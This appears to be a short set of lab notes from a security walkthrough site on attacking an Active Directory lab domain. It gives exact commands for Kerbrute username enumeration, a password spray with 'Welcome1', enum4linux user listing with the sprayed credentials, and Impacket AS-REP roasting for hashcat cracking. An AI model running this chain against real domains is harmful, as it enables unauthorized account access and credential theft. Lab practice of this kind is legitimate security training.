> For the complete documentation index, see [llms.txt](https://walkthroughs.cyanidesecurity.com/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://walkthroughs.cyanidesecurity.com/self-hosted/active-directory/lab-notes.md).

# Lab Notes

* Guess names of valid accounts from statistically likely usernames
  * produce custom list using base lists, as format used by environment did not already have corresponding wordlist
  * kerbrute\_linux\_amd64 userenum --dc 192.168.1.200 -d acme.local ./statistically-likely-usernames/john\_smith.txt
* Perform password spray across all discovered usernames with "Welcome1"
  * kerbrute\_linux\_amd64 passwordspray -d acme.local --dc 192.168.1.200 valid\_usernames.txt Welcome1
  * password spray was successful for user chris\_nelson
* Get list of all domain users
  * enum4linux -U -u chris\_nelson -p Welcome1 192.168.1.200
* Get list of ASREP Roastable users and their hashes for cracking
  * python3 /usr/share/doc/python3-impacket/examples/GetNPUsers.py -usersfile all\_usernames.txt -request -format hashcat -outputfile ASREP\_roastable\_users\_hashes.txt -dc-ip 192.168.1.200 'ACME/'